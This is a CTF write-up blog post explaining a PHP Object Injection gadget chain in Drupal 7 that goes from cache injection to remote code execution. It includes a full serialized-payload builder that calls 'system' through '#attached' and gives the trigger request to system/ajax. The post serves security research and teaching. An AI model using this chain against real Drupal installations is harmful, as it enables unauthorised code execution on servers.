CTF Writeup: Complex Drupal POP Chain


Drupal

A recent Capture-The-Flag tournament hosted by Insomni’hack challenged participants to craft an attack payload for Drupal 7. This blog post will demonstrate our solution for a PHP Object Injection with a complex POP gadget chain.

About the Challenge

The Droops challenge consisted of a website which had a modified version of Drupal 7.63 installed. The creators of the challenge added a Cookie to the Drupal installation that contained a PHP serialized string, which would then be unserialized on the remote server, leading to a PHP Object Injection vulnerability. Finding the cookie was straightforward and the challenge was obvious: Finding and crafting a POP chain for Drupal.

If you are not familiar with PHP Object Injections we recommend reading our blog post about the basics of PHP Object Injections.

Drupal POP Chain to Drupalgeddon 2

We found the following POP chain in the Drupal source code that affects its cache mechanism. Through the POP chain it was possible to inject into the Drupal cache and abuse the same feature that lead to the Drupalgeddon 2 vulnerability. No knowledge of this vulnerability is required to read this blog post, as each relevant step will be explained.

The POP chain is a second-order Remote Code Execution, which means that it consists of two steps:

  1. Injecting into the database cache the rendering engine uses
  2. Exploiting the rendering engine and Drupalgeddon 2

Injecting into the cache

The DrupalCacheArray class in includes/bootstrap.inc implements a destructor and writes some data to the database cache with the method set(). This is our entry point of our gadget chain.

 1 2 3 4 5 6 7 8 91011121314
  /**
   * Destructs the DrupalCacheArray object.
   */
  public function __destruct() {
    $data = array();
    foreach ($this->keysToPersist as $offset => $persist) {
      if ($persist) {
        $data[$offset] = $this->storage[$offset];
      }
    }
    if (!empty($data)) {
      $this->set($data);
    }
  }

The set() method will essentially call Drupal’s cache_set() function with $this->cid, $data, and $this->bin, which are all under control of the attacker since they are properties of the injected object. We assumed that we are now able to inject arbitrary data into the Drupal cache.

 1 2 3 4 5 6 7 8 91011121314
  protected function set($data, $lock = TRUE) {
    // Lock cache writes to help avoid stampedes.
    // To implement locking for cache misses, override __construct().
    $lock_name = $this->cid . ':' . $this->bin;
    if (!$lock || lock_acquire($lock_name)) {
      if ($cached = cache_get($this->cid, $this->bin)) {
        $data = $cached->data + $data;
      }
      cache_set($this->cid, $data, $this->bin);
      if ($lock) {
        lock_release($lock_name);
      }
    }
  }

In order to find out if this assumption was true, we started digging into the internals of the Drupal cache. We found out that the cache entries are stored in the database. Each cache type has its own table. (A cache for forms, one for pages and so on.)

 1 2 3 4 5 6 7 8 910111213141516
MariaDB [drupal7]> SHOW TABLES;
+-----------------------------+
| Tables_in_drupal7           |
+-----------------------------+
...
| cache                       |
| cache_block                 |
| cache_bootstrap             |
| cache_field                 |
| cache_filter                |
| cache_form                  |
| cache_image                 |
| cache_menu                  |
| cache_page                  |
| cache_path                  |
...

After a bit more of digging around, we discovered that the table name is the equivalent to $this->bin. This means we can set bin to be of any cache type and inject into any cache table. But what can we do with this?

The next step was to analyze the different cache tables for interesting entries and their structure.

 1 2 3 4 5 6 7 8 910
MariaDB [drupal7]> DESC cache_form;
+------------+--------------+------+-----+---------+-------+
| Field      | Type         | Null | Key | Default | Extra |
+------------+--------------+------+-----+---------+-------+
| cid        | varchar(255) | NO   | PRI |         |       |
| data       | longblob     | YES  |     | NULL    |       |
| expire     | int(11)      | NO   | MUL | 0       |       |
| created    | int(11)      | NO   |     | 0       |       |
| serialized | smallint(6)  | NO   |     | 0       |       |
+------------+--------------+------+-----+---------+-------+

For example the cache_form table has a column called cid. As a reminder, one of the arguments to cache_set() was $this->cid. We assumed the following: $this->cid maps to the cid column of the cache table, which is set in $this->bin. cid is the key of a cache entry and the data column simply is the $data parameter in cache_set().

To verify all these assumptions we created a serialized payload locally by creating a class in a build.php file and unserialized it on my test Drupal setup:

 1 2 3 4 5 6 7 8 910111213
class SchemaCache {
    // Insert an entry with some cache_key
    protected $cid = "some_cache_key";

    // Insert it into the cache_form table
    protected $bin = "cache_form";

    protected $keysToPersist = array('input_data' => true);

    protected $storage = array('input_data' => array("arbitrary data!"));
}
$schema = new SchemaCache();
echo serialize($schema);

The reason we used the SchemaCache class here is because it extends the abstract class DrupalCacheArray, which means it can’t be instantiated on its own. The deserialization of this data lead to the following entry in the cache_form table being created:

123456
MariaDB [drupal7]> SELECT * FROM cache_form;
+----------------+-----------------------------------------------------------+--------+------------+------------+
| cid            | data                                                      | expire | created    | serialized |
+----------------+-----------------------------------------------------------+--------+------------+------------+
| some_cache_key | a:1:{s:10:"input_data";a:1:{i:0;s:15:"arbitrary data!";}} |      0 | 1548684864 |          1 |
+----------------+-----------------------------------------------------------+--------+------------+------------+

Using the injected cached data to gain Remote Code Execution

Since we were now able to inject arbitrary data into any caching table, we started to search for ways in which the cache was used by Drupal that could be used to gain Remote Code Execution. After a bit of searching, we stumbled upon the following ajax callback, which can be triggered by making a request to the URL: http://drupalurl.org/?q=system/ajax.

1234
function ajax_form_callback() {
  list($form, $form_state, $form_id, $form_build_id, $commands) = ajax_get_form();
  drupal_process_form($form['#form_id'], $form, $form_state);
}

The ajax_get_form() function internally uses cache_get() to retrieve a cached entry from the cache_form table:

12345
  if ($cached = cache_get('form_' . $form_build_id, 'cache_form')) {
    $form = $cached->data;
  ...
  return $form;
 }

This is interesting because this means it is possible to pass an arbitrary form render array to drupal_process_form(). As previously mentioned, the Drupalgeddon 2 vulnerability abused this feature, so chances were high that code execution could be achieved with the ability to inject arbitrary render arrays into the rendering engine.

Within drupal_process_form(), we found the following lines of code:

1234
  if (isset($element['#process']) && !$element['#processed']) {
    foreach ($element['#process'] as $process) {
      $element = $process($element, $form_state, $form_state['complete form']);
    }

Here, $element refers to the $form received via cache_get(), meaning the keys and values of the array can be set arbitrarily. This means it is possible to simply set an arbitrary process (#process) callback and execute it with the render array as a parameter. Since the first argument is an array, it is not possible to simply call a function such as system() directly. What is required is a function that takes an array as input that leads to RCE.

The drupal_process_attached() function seemed very promising:

 1 2 3 4 5 6 7 8 91011
function drupal_process_attached($elements, $group = JS_DEFAULT, $dependency_check = FALSE, $every_page = NULL) {
...
  foreach ($elements['#attached'] as $callback => $options) {
    if (function_exists($callback)) {
      foreach ($elements['#attached'][$callback] as $args) {
        call_user_func_array($callback, $args);
      }
    }
  }

  return $success;

Since all array keys and values can be set arbitrarily, is is possible to call an arbitrary function with arbitrary arguments via call_user_func_array(), which leads to RCE!

This means the final POP chain looks like this:

 1 2 3 4 5 6 7 8 9101112131415161718192021222324252627
<?php
class SchemaCache {
    // Insert an entry with some cache_key
    protected $cid = "form_1337";

    // Insert it into the cache_form table
    protected $bin = "cache_form";

    protected $keysToPersist = array(
        '#form_id' => true,
        '#process' => true,
        '#attached' => true
    );

    protected $storage = array(
            '#form_id' => 1337,
            '#process' => array('drupal_process_attached'),
            '#attached' => array(
                'system' => array(array('sleep 20'))
            )
    );


}

$schema = new SchemaCache();
echo serialize($schema);

All that is left to do is to trigger the PHP Object Injection vulnerability with the resulting serialized string and then to make a POST request to http://drupalurl.org/?q=system/ajax and set the POST parameter form_build_id to 1337 to trigger the RCE.

Conclusion

POP chains can often become more complex and require a deeper knowledge of the application. However, the purpose of this blog post was to demonstrate that exploitation is still possible, even if no obvious, first order POP chain exists. If we had not known that the rendering API of drupal uses a lot of callbacks and had vulnerabilities in the past, we probably would not have found this particular POP chain. Alternatively, deep PHP knowledge can also lead to working POP chains when no obvious POP chain can be found. There exists another POP chain, an Object Instantion to Blind XXE to File Read to SQL Injection to RCE. A write up for this POP chain was written by Paul Axe and can be found here. We also would like to thank the creators for creating this and the other amazing challenges for the Insomni’hack CTF 2019.

Tags: simon scannell, php, writeup, php object injection,

Author: Simon Scannell

Security Researcher

Simon is a self taught security researcher at RIPS Technologies and is passionate about web application security and coming up with new ways to find and exploit vulnerabilities. He currently focuses on the analysis of popular content management systems and their security architecture.

Is your application secure?  Scan Your Code


Related Posts

Comments

comments powered by Disqus